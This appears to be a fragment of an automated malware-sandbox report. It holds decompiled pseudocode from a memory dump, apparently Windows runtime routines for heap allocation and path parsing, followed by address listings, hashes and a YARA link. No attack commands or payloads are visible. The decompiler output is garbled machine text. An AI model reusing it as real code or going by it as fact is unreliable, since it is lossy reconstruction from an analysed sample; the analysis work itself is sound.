										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E00A19710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E00A16DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E00A1F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E00A1F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E00A1F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E00A1FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E00A1FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E00A1F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E00A1F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E00AA4CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E00A2D130(_t427, _t494, _t511);
				}
			}

0x00aa5ba5
0x00aa5baa
0x00aa5baf
0x00aa5bb4
0x00aa5bb6
0x00aa5bbc
0x00aa5bbe
0x00aa5bc4
0x00aa5bcd
0x00aa5bd3
0x00aa5bd6
0x00aa5bdc
0x00aa5be0
0x00aa5be3
0x00aa5beb
0x00aa5bf2
0x00aa5bf8
0x00aa5bfe
0x00aa5c04
0x00aa5c0e
0x00aa5c18
0x00aa5c1f
0x00aa5c25
0x00aa5c2a
0x00aa5c2c
0x00aa5c32
0x00aa5c3a
0x00aa5c3f
0x00aa5c42
0x00aa5c48
0x00aa5c5b
0x00aa5c5b
0x00aa5c2c
0x00aa5cb7
0x00aa5cb9
0x00aa5cbf
0x00aa5cc2
0x00aa5cca
0x00aa5ccb
0x00aa5ccb
0x00aa5cd1
0x00aa5cd7
0x00aa5cda
0x00aa5ce1
0x00aa5ce4
0x00aa5ce7
0x00aa5ced
0x00aa5cf3
0x00aa5cf9
0x00aa5cff
0x00aa5d08
0x00aa5d0a
0x00aa5d0e
0x00aa5d10
0x00000000
0x00000000
0x00aa5d16
0x00aa5d1a
0x00000000
0x00000000
0x00aa5d20
0x00aa5d22
0x00aa5d25
0x00aa5d2f
0x00aa5d2f
0x00aa5d33
0x00aa5d3d
0x00aa5d49
0x00aa5d4b
0x00000000
0x00000000
0x00aa5d5a
0x00aa5d5d
0x00aa5d60
0x00000000
0x00000000
0x00aa5d66
0x00aa5d69
0x00000000
0x00000000
0x00aa5d6f
0x00aa5d6f
0x00aa5d73
0x00aa5d79
0x00aa5d7f
0x00aa5d86
0x00aa5d95
0x00aa5d98
0x00aa5dba
0x00aa5dcb
0x00aa5dce
0x00aa5dd3
0x00aa5dd6
0x00aa5dd8
0x00aa5de6
0x00aa5dec
0x00aa5dee
0x00aa5df1
0x00aa5df3
0x00aa635a
0x00aa635a
0x00000000
0x00aa635a
0x00aa5dfe
0x00aa5e02
0x00aa5e05
0x00aa5e07
0x00aa5e10
0x00aa5e13
0x00aa5e1b
0x00aa5e1c
0x00aa5e21
0x00aa5e22
0x00aa5e23
0x00aa5e25
0x00aa5e2a
0x00aa5e2c
0x00aa5e2e
0x00aa5e36
0x00aa5e39
0x00aa5e42
0x00aa5e47
0x00aa5e4d
0x00aa5e54
0x00aa5e54
0x00aa5e54
0x00aa5e2e
0x00aa5e5c
0x00aa5e5f
0x00aa5e62
0x00aa5e64
0x00aa5e6b
0x00aa5e70
0x00aa5e7a
0x00aa5e7a
0x00aa5e7a
0x00aa5e6b
0x00aa5e7e
0x00aa5e7f
0x00aa5e7f
0x00aa5e81
0x00aa5e87
0x00aa5e8b
0x00aa5e8c
0x00aa5e8c
0x00aa5e8c
0x00aa5e9a
0x00aa5e9c
0x00aa5ea2
0x00aa5ea6
0x00aa5f50
0x00aa5f50
0x00aa5f57
0x00aa5f66
0x00aa5f66
0x00aa5f66
0x00aa5f68
0x00aa5f6a
0x00aa63d0
0x00000000
0x00aa5f70
0x00aa5f70
0x00aa5f91
0x00aa5f9c
0x00aa5f9e
0x00aa5fa4
0x00aa5fa6
0x00aa638c
0x00aa6392
0x00aa63a1
0x00aa63a7
0x00aa63af
0x00aa63af
0x00aa63bd
0x00aa63d8
0x00000000
0x00aa63d8
0x00aa5fac
0x00aa5fb2
0x00aa5fb4
0x00aa5fbd
0x00aa5fc6
0x00aa5fce
0x00aa5fd4
0x00aa5fdc
0x00aa5fec
0x00aa5fed
0x00aa5fee
0x00aa5fef
0x00aa5ff9
0x00aa5ffa
0x00aa5ffb
0x00aa5ffc
0x00aa6000
0x00aa6004
0x00aa6012
0x00aa6012
0x00aa6018
0x00aa6019
0x00aa601a
0x00aa601b
0x00aa601c
0x00aa6020
0x00aa6059
0x00aa605c
0x00aa6061
0x00aa6061
0x00aa6022
0x00aa6022
0x00aa6022
0x00aa6025
0x00aa602a
0x00aa602b
0x00aa6031
0x00aa6037
0x00aa6038
0x00aa603e
0x00aa6048
0x00aa6049
0x00aa604a
0x00aa604b
0x00aa604c
0x00aa604d
0x00aa6053
0x00aa6054
0x00aa6054
0x00aa6062
0x00aa6065
0x00aa6067
0x00aa606a
0x00aa6070
0x00aa6075
0x00aa6076
0x00aa6081
0x00aa6087
0x00aa6095
0x00aa6099
0x00aa609e
0x00aa60a4
0x00aa60ae
0x00aa60b0
0x00aa60b3
0x00aa60b6
0x00aa60b8
0x00aa60ba
0x00aa60ba
0x00aa60ba
0x00aa60ba
0x00aa60be
0x00aa60c0
0x00aa60c5
0x00aa60c5
0x00aa60c5
0x00aa60c6
0x00aa60cd
0x00aa6114
0x00aa60cf
0x00aa60cf
0x00aa60d4
0x00aa60d5
0x00aa60da
0x00aa60db
0x00aa60e1
0x00aa60e2
0x00aa60e8
0x00aa60f8
0x00aa60fd
0x00aa60fe
0x00aa6102
0x00aa6104
0x00aa6107
0x00aa6109
0x00aa610b
0x00aa610b
0x00aa610b
0x00aa610b
0x00aa610f
0x00aa610f
0x00aa6117
0x00aa611a
0x00aa611f
0x00aa6125
0x00aa6134
0x00aa6139
0x00aa613f
0x00aa6146
0x00aa6148
0x00aa614b
0x00aa614d
0x00aa614f
0x00aa614f
0x00aa614f
0x00aa614f
0x00aa6153
0x00aa6159
0x00aa6159
0x00aa615c
0x00aa6163
0x00aa6169
0x00aa616c
0x00aa6172
0x00aa6181
0x00aa6186
0x00aa6187
0x00aa618b
0x00aa6191
0x00aa6195
0x00aa61a3
0x00aa61bb
0x00aa61c0
0x00aa61c3
0x00aa61cc
0x00aa61d0
0x00aa61dc
0x00aa61de
0x00aa61e1
0x00aa61e4
0x00aa61e6
0x00aa61e8
0x00aa61e8
0x00aa61e8
0x00aa61e8
0x00aa61e6
0x00aa61ec
0x00aa61f3
0x00aa6203
0x00aa6209
0x00aa620a
0x00aa6216
0x00aa621d
0x00aa6227
0x00aa6241
0x00aa6246
0x00aa624c
0x00aa6257
0x00aa6259
0x00aa625c
0x00aa625e
0x00aa6260
0x00aa6260
0x00aa6260
0x00aa6260
0x00aa625e
0x00aa6264
0x00aa6267
0x00aa6269
0x00aa6315
0x00aa6315
0x00aa631b
0x00aa631e
0x00aa6324
0x00aa6327
0x00aa632f
0x00aa6330
0x00aa6333
0x00aa633a
0x00aa633c
0x00aa6335
0x00aa6335
0x00aa6335
0x00aa633f
0x00aa6342
0x00aa634c
0x00aa6352
0x00aa6355
0x00aa6355
0x00aa6359
0x00000000
0x00aa626f
0x00aa6275
0x00aa6275
0x00aa6278
0x00aa627e
0x00aa627e
0x00aa6281
0x00aa6287
0x00aa628d
0x00aa6298
0x00aa629c
0x00aa62a2
0x00aa629e
0x00aa629e
0x00aa629e
0x00aa62a7
0x00aa62a7
0x00aa62aa
0x00aa62b0
0x00aa62f0
0x00aa62f0
0x00aa62f2
0x00aa62f8
0x00aa62fd
0x00aa62b2
0x00aa62b2
0x00aa62b2
0x00aa62b5
0x00aa62dd
0x00aa62e2
0x00aa62e5
0x00aa62b7
0x00aa62b8
0x00aa62bb
0x00aa62bd
0x00aa62c0
0x00aa62c4
0x00aa62cd
0x00aa62cd
0x00aa62c0
0x00aa62bb
0x00aa62b5
0x00aa6302
0x00aa6303
0x00aa6305
0x00aa6305
0x00aa6305
0x00aa630c
0x00aa630c
0x00000000
0x00aa627e
0x00aa6269
0x00aa5eac
0x00aa5ebb
0x00aa5ebe
0x00aa5ecb
0x00aa5ecb
0x00aa5ece
0x00aa5ece
0x00aa5ed4
0x00aa5ed7
0x00aa5ed9
0x00aa5edb
0x00aa5edb
0x00aa5ee1
0x00aa5ee1
0x00aa5ee3
0x00aa5f20
0x00aa5f20
0x00aa5ee5
0x00aa5ee5
0x00aa5ee5
0x00aa5ee8
0x00aa5f11
0x00aa5f18
0x00aa5eea
0x00aa5eea
0x00aa5eed
0x00aa5ef2
0x00aa5ef8
0x00aa5efb
0x00aa5f0a
0x00aa5f0a
0x00aa5eed
0x00aa5ee8
0x00aa5f22
0x00aa5f28
0x00000000
0x00000000
0x00aa5f30
0x00aa5f31
0x00aa5f37
0x00aa5f3a
0x00aa5f3d
0x00aa5f44
0x00000000
0x00000000
0x00000000
0x00aa5f46
0x00aa5f48
0x00aa5f4d
0x00000000
0x00aa5f4d
0x00aa5dda
0x00aa5ddf
0x00000000
0x00aa5ddf
0x00aa5dd8
0x00aa5da7
0x00aa5da9
0x00aa5dac
0x00aa5dae
0x00000000
0x00aa5db4
0x00aa5db4
0x00000000
0x00aa5db4
0x00aa5dae
0x00aa5d88
0x00aa5d8d
0x00aa6363
0x00aa6369
0x00aa636a
0x00aa6370
0x00aa6372
0x00aa637a
0x00aa637b
0x00aa637d
0x00000000
0x00000000
0x00aa637f
0x00aa6385
0x00000000
0x00aa6385
0x00aa5d38
0x00aa5d3b
0x00000000
0x00000000
0x00000000
0x00aa5d3b
0x00aa5d27
0x00aa5d29
0x00000000
0x00000000
0x00000000
0x00aa6360
0x00000000
0x00aa6360
0x00aa5c10
0x00aa5c10
0x00aa63da
0x00aa63e5
0x00aa63e5

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebb9c342c5992d4a57c2ce019ca696438f209000542fa8db061c03c3ab084f31
Instruction ID: 535bdc6e4e345902e6c259322b4211e6e535a80790aaa2520c4265bb90594123
Opcode Fuzzy Hash: ebb9c342c5992d4a57c2ce019ca696438f209000542fa8db061c03c3ab084f31
Instruction Fuzzy Hash: D2425B75D00629CFDB24CF68C980BA9B7B1FF4A304F1581AAD85DEB282D7749985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 009F4120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E009F4120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0xacd360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E00A0F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E009F6E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L009F4620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E009F6E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M009F45F8))) {
												case 0:
													_v568 = 0x9b1078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x9b11c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
